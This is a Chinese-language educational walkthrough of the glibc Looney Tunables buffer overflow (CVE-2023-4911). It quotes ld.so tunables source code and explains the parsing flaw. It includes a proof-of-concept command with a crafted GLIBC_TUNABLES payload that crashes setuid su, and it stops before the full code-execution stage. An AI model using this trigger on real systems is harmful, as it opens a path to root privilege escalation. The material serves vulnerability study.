Looney Tunables 本地权限提升 (CVE-2023-4911) 演练(仅供教育用途)
在计算机领域,动态链接器是操作系统的一部分,它在可执行文件执行时加载和链接所需的共享库,通过将库的内容从持久存储复制到 RAM,填充跳转表并重定位指针。
例如,我们有一个程序使用 openssl 库来计算 md5 哈希:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so 解析二进制文件并尝试查找与 `<openssl/md5.h>` 相关的库```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
正如我们所见,它会在 /lib/x86_64-linux-gnu/libcrypto.so.3 找到必要的加密库。
在程序启动期间,它会将这个库的代码加载到进程内存中,并将所有对该库的引用链接起来。
当程序启动时,加载器首先检查程序以确定其所需的共享库。然后它会搜索这些库,将其加载到内存中,并在运行时与可执行文件进行链接。在此过程中,动态加载器解析符号引用(如函数和变量引用),确保程序执行所需的一切就绪。鉴于其作用,动态加载器在安全性方面非常敏感,因为当本地用户启动设置了用户ID或组ID的程序时,其代码会以提升的权限运行。
Tunables 是 GNU C 库中的一个特性,允许应用程序作者和发行版维护者更改运行时库的行为以匹配其工作负载。它们实现为一组可以通过不同方式修改的开关。当前默认的方法是通过 GLIBC_TUNABLES 环境变量,将其设置为冒号分隔的 name=value 对字符串。例如,以下示例启用了 malloc 检查,并将 malloc 截断阈值设置为 128 字节:```
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
传递 --list-tunables 给动态加载器以打印所有可调参数及其最小值和最大值:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
在其执行的起始阶段,ld.so 调用 __tunables_init() 来遍历环境变量(第 279 行),搜索 GLIBC_TUNABLES 变量(第 282 行);对于找到的每个 GLIBC_TUNABLES,它复制该变量(第 284 行),调用 parse_tunables() 处理并清理该副本(第 286 行),最后将原始的 GLIBC_TUNABLES 替换为该清理后的副本(第 288 行):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
parse_tunables() 的第一个参数(tunestr)指向即将被清理的 GLIBC_TUNABLES 副本,而第二个参数(valstring)指向原始的 GLIBC_TUNABLES 环境变量(位于栈中)。为了清理 GLIBC_TUNABLES 的副本(其格式应为 "tunable1=`aaa:tunable2=bbb"`),parse_tunables() 会从 tunestr 中移除所有危险的 tunable(即 SXID_ERASE 类型的 tunable),但保留 SXID_IGNORE 和 NONE 类型的 tunable(位于第 221-235 行):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
不幸的是,如果 GLIBC_TUNABLES 环境变量格式为 "tunable1=tunable2=AAA"(其中 "tunable1" 和 "tunable2" 是 SXID_IGNORE 可调选项,例如 "glibc.malloc.mxfast"),那么:
在 parse_tunables() 的第一次 while (true) 循环中,
整个 "tunable1=tunable2=AAA" 会被原地复制到 tunestr 中(第 221-235 行),从而填满 tunestr;
在第 247-248 行,p 并未递增(p[len] 为 '\0',因为第 203-204 行未找到 ':'),因此 p 仍然指向 "tunable1" 的值,即 "tunable2=AAA";
在 parse_tunables() 的第二次 while (true) 循环中,"tunable2=AAA" 被附加(如同第二个可调选项)到已满的 tunestr 上,从而导致 tunestr 溢出。
命令:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
有效载荷:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
这个漏洞是一个直接的缓冲区溢出,但我们应该覆盖什么来实现任意代码执行?我们溢出的缓冲区是在第284行由 tunables_strdup() 分配的,这是 strdup() 的一个重新实现,使用了 ld.so 的 __minimal_malloc() 而不是 glibc 的 malloc()(实际上,glibc 的 malloc() 尚未初始化)。这个 __minimal_malloc() 实现只是调用 mmap() 从内核获取更多内存。